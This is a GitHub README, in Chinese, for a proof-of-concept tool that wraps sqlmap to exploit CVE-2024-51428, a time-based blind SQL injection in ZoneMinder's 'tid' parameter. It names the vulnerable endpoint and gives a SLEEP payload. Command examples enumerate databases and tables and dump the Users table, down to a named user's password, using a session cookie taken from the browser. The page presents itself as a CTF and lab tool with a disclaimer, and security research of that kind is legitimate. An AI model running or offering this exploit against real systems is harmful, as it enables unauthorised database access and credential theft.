D1se0/CVE-2024-51428-PoC
GitHub: D1se0/CVE-2024-51428-PoC
针对ZoneMinder CVE-2024-51428盲注漏洞的sqlmap封装工具,自动化数据库枚举与数据提取并输出简洁结果。
Stars: 1 | Forks: 0
# CVE-2024-51428 - ZoneMinder Blind SQL 注入 PoC
针对 **ZoneMinder** 中 **CVE-2024-51428** 漏洞设计的 **sqlmap** Python 封装工具。
该工具可自动化检测和利用 **Blind SQL 注入** 漏洞,同时保持输出简洁并聚焦于有价值的数据。
脚本会隐藏 sqlmap 日志,仅显示相关信息,例如:
- 检测到的注入点
- 数据库名称
- 表
- 导出的凭据或敏感数据
这使其非常适合 **CTF 环境、演示和安全测试**。
## 漏洞概述
**CVE:** CVE-2024-51428
**类型:** Blind SQL 注入
**受影响软件:** ZoneMinder
**攻击向量:** HTTP GET 参数
**参数:** `tid`
该漏洞存在于以下端点:
```
/zm/index.php?view=request&request=event&action=removetag&tid=
```
`tid` 参数在被用于数据库查询之前未经过适当的过滤,允许攻击者注入 SQL 查询。
所使用的利用技术是 **基于时间的 Blind SQL 注入**。
sqlmap 发现的示例 payload:
```
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
```
如果查询成功执行,此 payload 会强制数据库休眠,从而确认 SQL 注入的存在。
## 功能特性
- 自动 **Blind SQL 注入检测**
- 数据库枚举
- 表枚举
- 表数据导出
- 列过滤
- 行过滤
- 清晰的输出(隐藏 sqlmap 日志)
- 专为 **CTF 和渗透测试实验室** 设计
## 环境要求
- Python 3
- sqlmap
如需安装 sqlmap:
```
sudo apt install sqlmap
```
## 用法
基本语法:
```
python3 poc.py --url -c ''
```
示例:
```
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
```
## 获取所需的 Cookie
该漏洞利用需要有效的 ZoneMinder 会话 cookie。
步骤:
1. 在浏览器中打开目标
2. 打开开发者工具
3. 导航至:
```
Application → Cookies
```
4. 找到名为以下内容的 cookie:
```
ZMSESSID
```
5. 复制其值并与 `-c` 一起使用
示例:
```
-c '151fvdqmjkhnkfat7l5epgmd22'
```
## 检查目标是否存在漏洞
```
python3 poc.py --url http://target.htb -c 'COOKIE'
```
示例输出:
```
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
```
## 枚举数据库
```
python3 poc.py --url http://target.htb -c 'COOKIE' -d
```
示例输出:
```
available databases [3]:
information_schema
mysql
zm
```
## 枚举表
```
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
```
示例输出:
```
Database: zm
Users
Events
Monitors
Storage
```
## 导出表
```
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
```
## 导出特定列
```
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
```
示例:
```
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
```
## 过滤行(WHERE 子句)
您可以使用以下方式过滤行:
```
-ff
```
示例:
```
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
```
等效 SQL:
```
WHERE Username='mark'
```
## 导出特定用户的密码
示例:
```
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
```
内部 sqlmap 命令:
```
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
```
## 工具工作原理
该脚本充当 sqlmap 的封装器。
内部执行的步骤:
1. 构建易受攻击的端点
```
/zm/index.php?view=request&request=event&action=removetag&tid=1
```
2. 将认证 cookie 传递给 sqlmap
3. 使用优化选项执行 sqlmap:
```
--threads=10
--technique=T
--batch
```
4. 实时解析 sqlmap 输出
5. 过滤掉日志并仅显示:
- 注入信息
- 数据库
- 表
- 导出的数据
## 预期用途
创建此工具的目的:
- 夺旗赛 (CTF) 挑战
- 安全研究
- 教学目的
- 渗透测试实验室
## 免责声明
本项目仅用于教育和授权安全测试目的。
作者不对本工具的任何滥用行为负责。
在测试任何系统之前,请务必获得适当的授权。
## 作者
安全研究 / CTF 工具开发
标签:CISA项目, CVE-2024-51428, Maven, PoC, Python, sqlmap, ZoneMinder, 数据提取, 无后门, 时间盲注, 暴力破解, 漏洞验证, 演示模式, 盲注, 网络安全, 自动化攻击, 隐私保护